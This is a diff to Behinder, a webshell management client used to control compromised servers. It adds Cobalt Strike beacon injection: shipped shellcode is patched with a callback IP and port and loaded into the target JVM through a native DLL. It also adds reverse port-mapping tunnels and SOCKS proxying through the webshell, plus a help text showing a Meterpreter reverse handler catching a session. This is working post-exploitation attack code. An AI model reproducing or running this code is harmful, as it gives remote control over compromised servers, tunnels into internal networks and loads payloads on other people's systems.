- var2.printStackTrace();
}
}
}).start();
Thread.sleep(1000L);
+ this.running = Constants.REALCMD_RUNNING;
JSONObject resultObj = this.currentShellService.readRealCMD();
String status = resultObj.getString("status");
String msg = resultObj.getString("msg");
@@ -285,7 +315,6 @@ private void stopRealCmd() {
});
} catch (Exception var4) {
- var4.printStackTrace();
Platform.runLater(() -> {
this.statusLabel.setText("操作失败:" + var4.getMessage());
});
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/ReverseViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/ReverseViewController.java
index 4843876..1d82b24 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/ReverseViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/ReverseViewController.java
@@ -1,7 +1,12 @@
package net.rebeyond.behinder.ui.controller;
import java.io.ByteArrayInputStream;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Base64;
import java.util.HashMap;
+import java.util.Iterator;
import java.util.List;
import java.util.Map;
import javafx.application.Platform;
@@ -9,6 +14,7 @@
import javafx.beans.value.ObservableValue;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
+import javafx.scene.control.CheckBox;
import javafx.scene.control.Label;
import javafx.scene.control.RadioButton;
import javafx.scene.control.TextArea;
@@ -20,6 +26,7 @@
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
import net.rebeyond.behinder.utils.Utils;
+import org.json.JSONArray;
import org.json.JSONObject;
public class ReverseViewController {
@@ -38,17 +45,22 @@ public class ReverseViewController {
private Button reverseButton;
@FXML
private TextArea reverseHelpTextArea;
+ @FXML
+ private CheckBox isolatedCheckBox;
private ShellService currentShellService;
private JSONObject shellEntity;
private List workList;
+ Map basicInfoMap;
private Label statusLabel;
+ private List ReversePortMapWorkerList = new ArrayList();
private String helpContentTemplate = "root@silver:/tmp# msfconsole\r\nmsf > use exploit/multi/handler \r\nmsf exploit(multi/handler) > set payload %s\r\npayload => %s\r\nmsf exploit(multi/handler) > show options\r\n\r\nPayload options (%s):\r\n\r\n Name Current Setting Required Description\r\n ---- --------------- -------- -----------\r\n LHOST yes The listen address (an interface may be specified)\r\n LPORT 4444 yes The listen port\r\n\r\n\r\nExploit target:\r\n\r\n Id Name\r\n -- ----\r\n 0 Wildcard Target\r\n\r\n\r\nmsf exploit(multi/handler) > set lhost 0.0.0.0\r\nlhost => 0.0.0.0\r\nmsf exploit(multi/handler) > exploit \r\n\r\n[*] Started reverse TCP handler on 0.0.0.0:4444 \r\n[*] Sending stage (53859 bytes) to 119.3.72.174\r\n[*] Meterpreter session 1 opened (192.168.0.166:4444 -> 119.3.72.174:47157) at 2018-08-23 11:03:41 +0800\r\n\r\nmeterpreter > ";
private Map payloadList;
- public void init(ShellService shellService, List workList, Label statusLabel) {
+ public void init(ShellService shellService, List workList, Label statusLabel, Map basicInfoMap) {
this.currentShellService = shellService;
this.shellEntity = shellService.getShellEntity();
this.workList = workList;
+ this.basicInfoMap = basicInfoMap;
this.statusLabel = statusLabel;
this.initReverseView();
}
@@ -65,6 +77,7 @@ private void initPayloadList() {
shellPayloadList.put("php", "php/reverse_php");
shellPayloadList.put("aspx", "windows/shell/reverse_tcp");
payloadList.put("shell", shellPayloadList);
+ payloadList.put("cs", meterPayloadList);
this.payloadList = payloadList;
}
@@ -77,7 +90,7 @@ private void initReverseView() {
this.reverseTypeColbatRadio.setToggleGroup(radioGroup);
this.reverseTypeMeterRadio.setUserData("meter");
this.reverseTypeShellRadio.setUserData("shell");
- this.reverseTypeColbatRadio.setUserData("colbat");
+ this.reverseTypeColbatRadio.setUserData("cs");
radioGroup.selectedToggleProperty().addListener(new ChangeListener() {
public void changed(ObservableValue observable, Toggle oldValue, Toggle newValue) {
String reverseType = newValue.getUserData().toString();
@@ -96,42 +109,154 @@ public void changed(ObservableValue observable, Toggle oldValue, Toggle newValue
}
this.reverseButton.setOnAction((event) -> {
- Runnable runner = () -> {
- try {
- String targetIP = this.reverseIPText.getText();
- String targetPort = this.reversePortText.getText();
- RadioButton currentTypeRadio = (RadioButton)radioGroup.getSelectedToggle();
- if (currentTypeRadio == null) {
- Platform.runLater(() -> {
- this.statusLabel.setText("请先选择反弹类型。");
- });
- return;
- }
+ String targetIP = this.reverseIPText.getText();
+ String targetPort = this.reversePortText.getText();
+ if (Utils.checkIP(targetIP) && Utils.checkPort(targetPort)) {
+ Runnable runner;
+ Thread worker;
+ if (!this.reverseButton.getText().equals("关闭")) {
+ runner = () -> {
+ boolean isPortMapTunnel = false;
+
+ try {
+ String actualTargetIP = targetIP;
+ RadioButton currentTypeRadio = (RadioButton)radioGroup.getSelectedToggle();
+ if (currentTypeRadio == null) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("请先选择反弹类型。");
+ });
+ return;
+ }
+
+ if (!targetIP.equals("127.0.0.1") && !targetIP.equals("localhost")) {
+ if (this.isolatedCheckBox.isSelected()) {
+ this.startReversePortMap(targetIP, targetPort);
+ isPortMapTunnel = true;
+ actualTargetIP = "127.0.0.1";
+ }
+ } else {
+ this.startReversePortMap("127.0.0.1", targetPort);
+ isPortMapTunnel = true;
+ }
+
+ final Boolean finalIsPortMapTunnel = isPortMapTunnel;
+ Platform.runLater(() -> {
+ if (finalIsPortMapTunnel) {
+ this.reverseButton.setText("关闭");
+ }
+
+ });
+ String type = currentTypeRadio.getUserData().toString();
+ JSONObject resultObj = null;
+ String statusx;
+ if (type.equals("cs")) {
+ statusx = (String)this.basicInfoMap.get("osInfo");
+ if (!Utils.isWindows(this.basicInfoMap)) {
+ Platform.runLater(() -> {
+ Utils.showErrorMessage("提示", "cs上线暂不支持非windows平台服务端");
+ });
+ return;
+ }
+
+ if (this.shellEntity.getString("type").equals("php")) {
+ Platform.runLater(() -> {
+ Utils.showErrorMessage("提示", "cs上线暂不支持php服务端");
+ });
+ return;
+ }
- String type = currentTypeRadio.getUserData().toString();
- JSONObject resultObj = this.currentShellService.connectBack(type, targetIP, targetPort);
- String status = resultObj.getString("status");
- if (status.equals("fail")) {
- Platform.runLater(() -> {
- String msg = resultObj.getString("msg");
- this.statusLabel.setText("反弹失败:" + msg);
- });
- } else {
- Platform.runLater(() -> {
- this.statusLabel.setText("反弹成功。");
- });
+ if (this.shellEntity.getString("type").equals("jsp")) {
+ short portByteIndex;
+ byte[] nativeLibraryFileContent;
+ byte[] payloadFileContent;
+ int num;
+ if (((String)this.basicInfoMap.get("arch")).toString().indexOf("64") >= 0) {
+ portByteIndex = 274;
+ nativeLibraryFileContent = Utils.getResourceData("net/rebeyond/behinder/resource/native/JavaNative_x32.dll");
+ payloadFileContent = Utils.getResourceData("net/rebeyond/behinder/resource/shellcode/cs.payload.64");
+ num = Integer.parseInt(targetPort);
+ payloadFileContent[portByteIndex] = (byte)(num & 255);
+ payloadFileContent[portByteIndex + 1] = (byte)((num & '\uff00') >> 8);
+ payloadFileContent = Utils.mergeBytes(payloadFileContent, actualTargetIP.getBytes());
+ payloadFileContent = Utils.mergeBytes(payloadFileContent, new byte[]{0, 0, 0, 0, 0});
+ resultObj = this.currentShellService.loadLibraryAndexecutePayload(Base64.getEncoder().encodeToString(nativeLibraryFileContent), Base64.getEncoder().encodeToString(payloadFileContent));
+ } else {
+ portByteIndex = 196;
+ nativeLibraryFileContent = Utils.getResourceData("net/rebeyond/behinder/resource/native/JavaNative_x32.dll");
+ payloadFileContent = Utils.getResourceData("net/rebeyond/behinder/resource/shellcode/cs.payload.32");
+ num = Integer.parseInt(targetPort);
+ payloadFileContent[portByteIndex] = (byte)(num & 255);
+ payloadFileContent[portByteIndex + 1] = (byte)((num & '\uff00') >> 8);
+ payloadFileContent = Utils.mergeBytes(payloadFileContent, actualTargetIP.getBytes());
+ payloadFileContent = Utils.mergeBytes(payloadFileContent, new byte[]{0, 0, 0, 0, 0});
+ resultObj = this.currentShellService.loadLibraryAndexecutePayload(Base64.getEncoder().encodeToString(nativeLibraryFileContent), Base64.getEncoder().encodeToString(payloadFileContent));
+ }
+ } else if (this.shellEntity.getString("type").equals("aspx")) {
+ resultObj = this.currentShellService.connectBack(type, actualTargetIP, targetPort);
+ String status = resultObj.getString("status");
+ if (status.equals("fail")) {
+ JSONObject finalResultObj = resultObj;
+ Platform.runLater(() -> {
+ String msg = finalResultObj.getString("msg");
+ this.statusLabel.setText("反弹失败:" + msg);
+ });
+ } else {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("反弹成功。");
+ });
+ }
+ }
+ } else {
+ Thread.sleep(2000L);
+ resultObj = this.currentShellService.connectBack(type, actualTargetIP, targetPort);
+ }
+
+ statusx = resultObj.getString("status");
+ if (statusx.equals("fail")) {
+ JSONObject finalResultObj = resultObj;
+ Platform.runLater(() -> {
+ String msg = finalResultObj.getString("msg");
+ this.statusLabel.setText("反弹失败:" + msg);
+ });
+ } else {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("反弹成功。");
+ });
+ }
+ } catch (Exception var15) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("操作失败:" + var15.getMessage());
+ });
+ }
+
+ };
+ worker = new Thread(runner);
+ this.workList.add(worker);
+ worker.start();
+ } else {
+ this.reverseButton.setText("给我连");
+ Iterator var5 = this.ReversePortMapWorkerList.iterator();
+
+ while(var5.hasNext()) {
+ ReverseViewController.ReversePortMapWorker reversePortMapWorker = (ReverseViewController.ReversePortMapWorker)var5.next();
+ reversePortMapWorker.stop();
}
- } catch (Exception var8) {
- var8.printStackTrace();
- Platform.runLater(() -> {
- this.statusLabel.setText("操作失败:" + var8.getMessage());
- });
- }
- };
- Thread worker = new Thread(runner);
- this.workList.add(worker);
- worker.start();
+ this.ReversePortMapWorkerList.clear();
+ runner = () -> {
+ try {
+ this.currentShellService.stopReversePortMap(targetPort);
+ } catch (Exception var3) {
+ }
+
+ };
+ worker = new Thread(runner);
+ this.workList.add(worker);
+ worker.start();
+ }
+ } else {
+ Utils.showErrorMessage("提示", "IP或端口格式错误,请查证后再试");
+ }
});
}
@@ -140,9 +265,175 @@ private void initHelpContent() {
}
private void updateHelpContent(String reverseType) {
- String shellType = this.shellEntity.getString("type");
- String payloadName = (String)((Map)this.payloadList.get(reverseType)).get(shellType);
- String helpContent = String.format(this.helpContentTemplate, payloadName, payloadName, payloadName);
+ String helpContent = "";
+ if (reverseType.equals("cs")) {
+ helpContent = "冰蝎支持Java和Aspx版本的CobaltStrike一键上线功能,采用windows/beacon_https/reverse_https上线方式。\r\n因为冰蝎采用注入JVM进程方式来植入代码,如果需要退出cs会话,需先将cs会话迁移至其他进程再退出,避免JVM进程停止。";
+ this.reverseHelpTextArea.setText(helpContent);
+ } else {
+ String shellType = this.shellEntity.getString("type");
+ String payloadName = (String)((Map)this.payloadList.get(reverseType)).get(shellType);
+ helpContent = String.format(this.helpContentTemplate, payloadName, payloadName, payloadName);
+ }
+
this.reverseHelpTextArea.setText(helpContent);
}
+
+ private void startReversePortMap(String listenIP, String listenPort) {
+ Runnable worker = () -> {
+ try {
+ JSONObject result = this.currentShellService.createReversePortMap(listenPort);
+ if (result.get("status").equals("success")) {
+ result = this.currentShellService.listReversePortMap();
+ Map paramMap = new HashMap();
+ paramMap.put("listenIP", listenIP);
+ paramMap.put("listenPort", listenPort);
+ ReverseViewController.ReversePortMapWorker reversePortMapWorkerDaemon = new ReverseViewController.ReversePortMapWorker("daemon", paramMap);
+ this.ReversePortMapWorkerList.add(reversePortMapWorkerDaemon);
+ Thread reversePortMapWorker = new Thread(reversePortMapWorkerDaemon);
+ reversePortMapWorker.start();
+ this.workList.add(reversePortMapWorker);
+ Platform.runLater(() -> {
+ this.statusLabel.setText("通信隧道创建成功。");
+ });
+ } else {
+ String msg = result.getString("msg");
+ Platform.runLater(() -> {
+ this.statusLabel.setText("通信隧道创建失败:" + msg);
+ });
+ }
+ } catch (Exception var7) {
+ Platform.runLater(() -> {
+ this.statusLabel.setText("通信隧道创建失败:" + var7.getMessage());
+ });
+ }
+
+ };
+ Thread woker = new Thread(worker);
+ woker.start();
+ this.workList.add(woker);
+ }
+
+ class ReversePortMapWorker implements Runnable {
+ private String threadType;
+ private Map paramMap;
+ private Map socketMetaList = new HashMap();
+
+ public ReversePortMapWorker(String threadType, Map paramMap) {
+ this.threadType = threadType;
+ this.paramMap = paramMap;
+ }
+
+ public void stop() {
+ Iterator var1 = this.socketMetaList.keySet().iterator();
+
+ while(var1.hasNext()) {
+ String key = (String)var1.next();
+ Socket socket = (Socket)((Map)this.socketMetaList.get(key)).get("socket");
+
+ try {
+ socket.close();
+ } catch (Exception var5) {
+ }
+ }
+
+ this.socketMetaList = null;
+ }
+
+ public void run() {
+ int bytesRead;
+ if (this.threadType.equals("daemon")) {
+ String listenIP = this.paramMap.get("listenIP").toString();
+ int listenPort = Integer.parseInt(this.paramMap.get("listenPort").toString());
+
+ while(true) {
+ try {
+ JSONObject result = ReverseViewController.this.currentShellService.listReversePortMap();
+ JSONArray socketArr = new JSONArray(result.getString("msg"));
+ if (socketArr.length() == 0) {
+ break;
+ }
+
+ for(bytesRead = 0; bytesRead < socketArr.length(); ++bytesRead) {
+ JSONObject socketObj = socketArr.getJSONObject(bytesRead);
+ String socketHash = socketObj.getString("socketHash");
+ if (socketHash.startsWith("reverseportmap_socket") && !this.socketMetaList.containsKey(socketHash)) {
+ Map socketMeta = new HashMap();
+ socketMeta.put("status", "ready");
+ Socket socketx = new Socket(listenIP, listenPort);
+ socketMeta.put("status", "connected");
+ socketMeta.put("socket", socketx);
+ socketMeta.put("socketHash", socketHash);
+ this.socketMetaList.put(socketHash, socketMeta);
+ Map paramMap = new HashMap();
+ paramMap.put("listenIP", listenIP);
+ paramMap.put("listenPort", listenPort);
+ paramMap.put("socketMeta", socketMeta);
+ ReverseViewController.ReversePortMapWorker reversePortMapWorkerReader = ReverseViewController.this.new ReversePortMapWorker("read", paramMap);
+ ReverseViewController.ReversePortMapWorker reversePortMapWorkerWriter = ReverseViewController.this.new ReversePortMapWorker("write", paramMap);
+ ReverseViewController.this.ReversePortMapWorkerList.add(reversePortMapWorkerReader);
+ ReverseViewController.this.ReversePortMapWorkerList.add(reversePortMapWorkerWriter);
+ Thread reader = new Thread(reversePortMapWorkerReader);
+ Thread writer = new Thread(reversePortMapWorkerWriter);
+ ReverseViewController.this.workList.add(reader);
+ ReverseViewController.this.workList.add(writer);
+ reader.start();
+ writer.start();
+ }
+ }
+
+ Thread.sleep(3000L);
+ } catch (Exception var18) {
+ break;
+ }
+ }
+ } else {
+ Map socketMetax;
+ String socketHashx;
+ Socket socket;
+ byte[] buf;
+ JSONObject var24;
+ if (this.threadType.equals("read")) {
+ socketMetax = (Map)this.paramMap.get("socketMeta");
+ socketHashx = socketMetax.get("socketHash").toString();
+ socket = (Socket)socketMetax.get("socket");
+
+ while(true) {
+ try {
+ Thread.sleep(100L);
+ buf = ReverseViewController.this.currentShellService.readReversePortMapData(socketHashx);
+ socket.getOutputStream().write(buf);
+ socket.getOutputStream().flush();
+ } catch (Exception var19) {
+ try {
+ var24 = ReverseViewController.this.currentShellService.stopReversePortMap(this.paramMap.get("listenPort").toString());
+ } catch (Exception var16) {
+ }
+ break;
+ }
+ }
+ } else if (this.threadType.equals("write")) {
+ socketMetax = (Map)this.paramMap.get("socketMeta");
+ socketHashx = socketMetax.get("socketHash").toString();
+ socket = (Socket)socketMetax.get("socket");
+
+ try {
+ buf = new byte[20480];
+
+ for(bytesRead = socket.getInputStream().read(buf); bytesRead > 0; bytesRead = socket.getInputStream().read(buf)) {
+ ReverseViewController.this.currentShellService.writeReversePortMapData(Arrays.copyOfRange(buf, 0, bytesRead), socketHashx);
+ }
+ } catch (Exception var17) {
+ try {
+ var24 = ReverseViewController.this.currentShellService.stopReversePortMap(this.paramMap.get("listenPort").toString());
+ } catch (Exception var15) {
+ }
+ }
+ }
+ }
+
+ }
+
+ public void close(String listenIP, String listenPort) {
+ }
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/TunnelViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/TunnelViewController.java
index 93b657a..c747238 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/TunnelViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/TunnelViewController.java
@@ -11,8 +11,10 @@
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
+import java.util.Map;
import javafx.application.Platform;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
@@ -27,6 +29,7 @@
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.utils.CipherUtils;
import net.rebeyond.behinder.utils.Utils;
+import org.json.JSONArray;
import org.json.JSONObject;
public class TunnelViewController {
@@ -35,6 +38,8 @@ public class TunnelViewController {
@FXML
private Button createSocksBtn;
@FXML
+ private Button createReversePortMapBtn;
+ @FXML
private Label portMapListenIPLabel;
@FXML
private Label portMapListenPortLabel;
@@ -68,12 +73,17 @@ public class TunnelViewController {
private TextField socksIPText;
@FXML
private TextField socksPortText;
+ @FXML
+ private TextField reversePortMapIPText;
+ @FXML
+ private TextField reversePortMapPortText;
private ShellService currentShellService;
private JSONObject shellEntity;
private List workList;
private List localList = new ArrayList();
private Label statusLabel;
private TunnelViewController.ProxyUtils proxyUtils;
+ private List ReversePortMapWorkerList = new ArrayList();
private ServerSocket localPortMapSocket;
public void init(ShellService shellService, List workList, Label statusLabel) {
@@ -151,6 +161,18 @@ public void changed(ObservableValue ov, Toggle oldToggle, Toggle newToggle) {
}
}
+ });
+ this.createReversePortMapBtn.setOnAction((event) -> {
+ String listenIP = this.reversePortMapIPText.getText().trim();
+ String listenPort = this.reversePortMapPortText.getText().trim();
+ if (this.createReversePortMapBtn.getText().equals("开启")) {
+ this.createReversePortMapBtn.setText("关闭");
+ this.startReversePortMap(listenIP, listenPort);
+ } else {
+ this.createReversePortMapBtn.setText("开启");
+ this.stopReversePortMap(listenIP, listenPort);
+ }
+
});
this.createSocksBtn.setOnAction((event) -> {
RadioButton currentTypeRadio;
@@ -216,7 +238,6 @@ private void createLocalPortMap() {
continue;
} catch (Exception var6) {
if (!(var6 instanceof SocketException)) {
- var6.printStackTrace();
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]数据读取异常:" + var6.getMessage() + "\n");
});
@@ -243,7 +264,6 @@ private void createLocalPortMap() {
} catch (SocketTimeoutException var8) {
continue;
} catch (Exception var9) {
- var9.printStackTrace();
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]数据写入异常:" + var9.getMessage() + "\n");
});
@@ -260,7 +280,6 @@ private void createLocalPortMap() {
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]隧道关闭失败:" + var7.getMessage() + "\n");
});
- var7.printStackTrace();
}
return;
@@ -283,7 +302,6 @@ private void createLocalPortMap() {
this.localList.add(worker);
worker.start();
} catch (Exception var5) {
- var5.printStackTrace();
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]隧道创建失败:" + var5.getMessage() + "\n");
});
@@ -313,7 +331,6 @@ private void stoplocalPortMap() {
try {
this.localPortMapSocket.close();
} catch (IOException var5) {
- var5.printStackTrace();
}
}
@@ -321,7 +338,6 @@ private void stoplocalPortMap() {
this.tunnelLogTextarea.appendText("[INFO]本地监听端口已关闭。\n");
});
} catch (Exception var6) {
- var6.printStackTrace();
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]隧道关闭失败:" + var6.getMessage() + "\n");
});
@@ -366,7 +382,6 @@ private void createRemotePortMap() {
this.tunnelLogTextarea.appendText("[INFO]隧道建立成功,请连接VPS。\n");
});
} catch (Exception var6) {
- var6.printStackTrace();
Platform.runLater(() -> {
this.tunnelLogTextarea.appendText("[ERROR]隧道建立失败:" + var6.getMessage() + "\n");
});
@@ -391,13 +406,120 @@ private void stopLocalSocks() {
private void createRemoteSocks() {
this.createSocksBtn.setText("关闭");
- this.proxyUtils = new TunnelViewController.ProxyUtils();
- this.proxyUtils.start();
+ String remoteIP = this.socksIPText.getText();
+ String remotePort = this.socksPortText.getText();
+ Runnable runner = () -> {
+ try {
+ this.currentShellService.createVPSSocks(remoteIP, remotePort);
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[INFO]隧道建立成功,请使用SOCKS5客户端连接VPS。\n");
+ });
+ } catch (Exception var4) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]隧道建立失败:" + var4.getMessage() + "\n");
+ });
+ }
+
+ };
+ Thread worker = new Thread(runner);
+ this.workList.add(worker);
+ worker.start();
}
private void stopRemoteSocks() {
- this.proxyUtils.shutdown();
this.createSocksBtn.setText("开启");
+ Runnable runner = () -> {
+ try {
+ JSONObject result = this.currentShellService.stopVPSSocks();
+ if (result.getString("status").equals("success")) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[INFO]隧道关闭成功,服务侧资源已释放。\n");
+ });
+ } else {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]隧道关闭失败:" + result.getString("msg") + "\n");
+ });
+ }
+ } catch (Exception var2) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]隧道关闭失败:" + var2.getMessage() + "\n");
+ });
+ }
+
+ };
+ Thread worker = new Thread(runner);
+ this.workList.add(worker);
+ worker.start();
+ }
+
+ private void startReversePortMap(String listenIP, String listenPort) {
+ Runnable worker = () -> {
+ try {
+ JSONObject result = this.currentShellService.createReversePortMap(listenPort);
+ if (result.get("status").equals("success")) {
+ result = this.currentShellService.listReversePortMap();
+ Map paramMap = new HashMap();
+ paramMap.put("listenIP", listenIP);
+ paramMap.put("listenPort", listenPort);
+ TunnelViewController.ReversePortMapWorker reversePortMapWorkerDaemon = new TunnelViewController.ReversePortMapWorker("daemon", paramMap);
+ this.ReversePortMapWorkerList.add(reversePortMapWorkerDaemon);
+ Thread reversePortMapWorker = new Thread(reversePortMapWorkerDaemon);
+ reversePortMapWorker.start();
+ this.workList.add(reversePortMapWorker);
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[INFO]通信隧道创建成功。\n");
+ });
+ } else {
+ String msg = result.getString("msg");
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]通信隧道创建失败:" + msg + "\n");
+ });
+ }
+ } catch (Exception var7) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]通信隧道创建失败:" + var7.getMessage());
+ });
+ }
+
+ };
+ Thread woker = new Thread(worker);
+ woker.start();
+ this.workList.add(woker);
+ }
+
+ private void stopReversePortMap(String listenIP, String listenPort) {
+ this.tunnelLogTextarea.appendText("[INFO]正在关闭通信隧道……\n");
+ Runnable worker = () -> {
+ try {
+ Iterator var2 = this.ReversePortMapWorkerList.iterator();
+
+ while(var2.hasNext()) {
+ TunnelViewController.ReversePortMapWorker reversePortMapWorker = (TunnelViewController.ReversePortMapWorker)var2.next();
+ reversePortMapWorker.stop();
+ }
+
+ this.ReversePortMapWorkerList.clear();
+ JSONObject result = this.currentShellService.stopReversePortMap(listenPort);
+ if (result.get("status").equals("success")) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[INFO]通信隧道关闭成功。\n");
+ });
+ } else {
+ String msg = result.getString("msg");
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]通信隧道关闭失败:" + msg + "\n");
+ });
+ }
+ } catch (Exception var4) {
+ Platform.runLater(() -> {
+ this.tunnelLogTextarea.appendText("[ERROR]通信隧道关闭失败:" + var4.getMessage() + "\n");
+ });
+ }
+
+ };
+ Thread woker = new Thread(worker);
+ woker.start();
+ this.workList.add(woker);
}
class ProxyUtils extends Thread {
@@ -419,15 +541,15 @@ public void shutdown() {
try {
if (this.r != null) {
- this.r.interrupt();
+ this.r.stop();
}
if (this.w != null) {
- this.w.interrupt();
+ this.w.stop();
}
if (this.proxy != null) {
- this.proxy.interrupt();
+ this.proxy.stop();
}
if (this.serverSocket != null && !this.serverSocket.isClosed()) {
@@ -493,7 +615,6 @@ public void run() {
try {
TunnelViewController.this.currentShellService.closeProxy(this.socketHash);
} catch (Exception var3) {
- var3.printStackTrace();
}
}
@@ -512,7 +633,11 @@ private boolean parseSocks5(Socket socket) throws Exception {
DataInputStream ins = new DataInputStream(socket.getInputStream());
DataOutputStream os = new DataOutputStream(socket.getOutputStream());
int nmethods = ins.read();
- int methods = ins.read();
+
+ for(int ix = 0; ix < nmethods; ++ix) {
+ int var10 = ins.read();
+ }
+
os.write(new byte[]{5, 0});
int version = ins.read();
int cmd;
@@ -544,11 +669,11 @@ private boolean parseSocks5(Socket socket) throws Exception {
tempArray[i] = temp + "";
}
- String[] var20 = tempArray;
+ String[] var21 = tempArray;
temp = tempArray.length;
- for(int var17 = 0; var17 < temp; ++var17) {
- String tempx = var20[var17];
+ for(int var16 = 0; var16 < temp; ++var16) {
+ String tempx = var21[var16];
host = host + tempx + ".";
}
@@ -575,7 +700,7 @@ private boolean parseSocks5(Socket socket) throws Exception {
ProxyUtils.this.log("INFO", "隧道建立成功,请求远程地址" + host + ":" + port);
return true;
} else {
- os.write(CipherUtils.mergeByteArray(new byte[]{5, 0, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
+ os.write(CipherUtils.mergeByteArray(new byte[]{5, 5, 0, 1}, InetAddress.getByName(host).getAddress(), targetPort));
throw new Exception(String.format("[%s:%d] Remote failed", host, port));
}
} else {
@@ -590,84 +715,196 @@ private boolean parseSocks4(Socket socket) {
return false;
}
- private class Reader extends Thread {
- private Reader() {
+ private class Writer extends Thread {
+ private Writer() {
}
public void run() {
while(true) {
if (Session.this.socket != null) {
try {
- byte[] data = TunnelViewController.this.currentShellService.readProxyData(Session.this.socketHash);
- if (data != null) {
- if (data.length == 0) {
- Thread.sleep(100L);
- continue;
- }
-
- Session.this.socket.getOutputStream().write(data);
- Session.this.socket.getOutputStream().flush();
+ Session.this.socket.setSoTimeout(10000);
+ byte[] data = new byte[ProxyUtils.this.bufSize];
+ int length = Session.this.socket.getInputStream().read(data);
+ if (length != -1) {
+ data = Arrays.copyOfRange(data, 0, length);
+ TunnelViewController.this.currentShellService.writeProxyData(data, Session.this.socketHash);
continue;
}
- } catch (Exception var2) {
- ProxyUtils.this.log("ERROR", "数据读取异常:" + var2.getMessage());
- var2.printStackTrace();
+ } catch (SocketTimeoutException var4) {
continue;
+ } catch (Exception var5) {
+ ProxyUtils.this.log("ERROR", "数据写入异常:" + var5.getMessage());
}
}
+ try {
+ TunnelViewController.this.currentShellService.closeProxy(Session.this.socketHash);
+ ProxyUtils.this.log("INFO", "隧道关闭成功。");
+ Session.this.socket.close();
+ } catch (Exception var3) {
+ ProxyUtils.this.log("ERROR", "隧道关闭失败:" + var3.getMessage());
+ }
+
return;
}
}
// $FF: synthetic method
- Reader(Object x1) {
+ Writer(Object x1) {
this();
}
}
- private class Writer extends Thread {
- private Writer() {
+ private class Reader extends Thread {
+ private Reader() {
}
public void run() {
while(true) {
if (Session.this.socket != null) {
try {
- Session.this.socket.setSoTimeout(10000);
- byte[] data = new byte[ProxyUtils.this.bufSize];
- int length = Session.this.socket.getInputStream().read(data);
- if (length != -1) {
- data = Arrays.copyOfRange(data, 0, length);
- TunnelViewController.this.currentShellService.writeProxyData(data, Session.this.socketHash);
+ byte[] data = TunnelViewController.this.currentShellService.readProxyData(Session.this.socketHash);
+ if (data != null) {
+ if (data.length != 0) {
+ Session.this.socket.getOutputStream().write(data);
+ Session.this.socket.getOutputStream().flush();
+ }
continue;
}
- } catch (SocketTimeoutException var4) {
+ } catch (Exception var2) {
continue;
- } catch (Exception var5) {
- ProxyUtils.this.log("ERROR", "数据写入异常:" + var5.getMessage());
- var5.printStackTrace();
}
}
- try {
- TunnelViewController.this.currentShellService.closeProxy(Session.this.socketHash);
- ProxyUtils.this.log("INFO", "隧道关闭成功。");
- Session.this.socket.close();
- } catch (Exception var3) {
- ProxyUtils.this.log("ERROR", "隧道关闭失败:" + var3.getMessage());
- var3.printStackTrace();
- }
-
return;
}
}
// $FF: synthetic method
- Writer(Object x1) {
+ Reader(Object x1) {
this();
}
}
}
}
+
+ class ReversePortMapWorker implements Runnable {
+ private String threadType;
+ private Map paramMap;
+ private Map socketMetaList = new HashMap();
+
+ public ReversePortMapWorker(String threadType, Map paramMap) {
+ this.threadType = threadType;
+ this.paramMap = paramMap;
+ }
+
+ public void stop() {
+ Iterator var1 = this.socketMetaList.keySet().iterator();
+
+ while(var1.hasNext()) {
+ String key = (String)var1.next();
+ Socket socket = (Socket)((Map)this.socketMetaList.get(key)).get("socket");
+
+ try {
+ socket.close();
+ } catch (Exception var5) {
+ }
+ }
+
+ this.socketMetaList = null;
+ }
+
+ public void run() {
+ int bytesRead;
+ if (this.threadType.equals("daemon")) {
+ String listenIP = this.paramMap.get("listenIP").toString();
+ int listenPort = Integer.parseInt(this.paramMap.get("listenPort").toString());
+
+ while(true) {
+ try {
+ JSONObject result = TunnelViewController.this.currentShellService.listReversePortMap();
+ JSONArray socketArr = new JSONArray(result.getString("msg"));
+
+ for(bytesRead = 0; bytesRead < socketArr.length(); ++bytesRead) {
+ JSONObject socketObj = socketArr.getJSONObject(bytesRead);
+ String socketHash = socketObj.getString("socketHash");
+ if (socketHash.startsWith("reverseportmap_socket") && !this.socketMetaList.containsKey(socketHash)) {
+ Map socketMeta = new HashMap();
+ socketMeta.put("status", "ready");
+ Socket socketx = new Socket(listenIP, listenPort);
+ socketMeta.put("status", "connected");
+ socketMeta.put("socket", socketx);
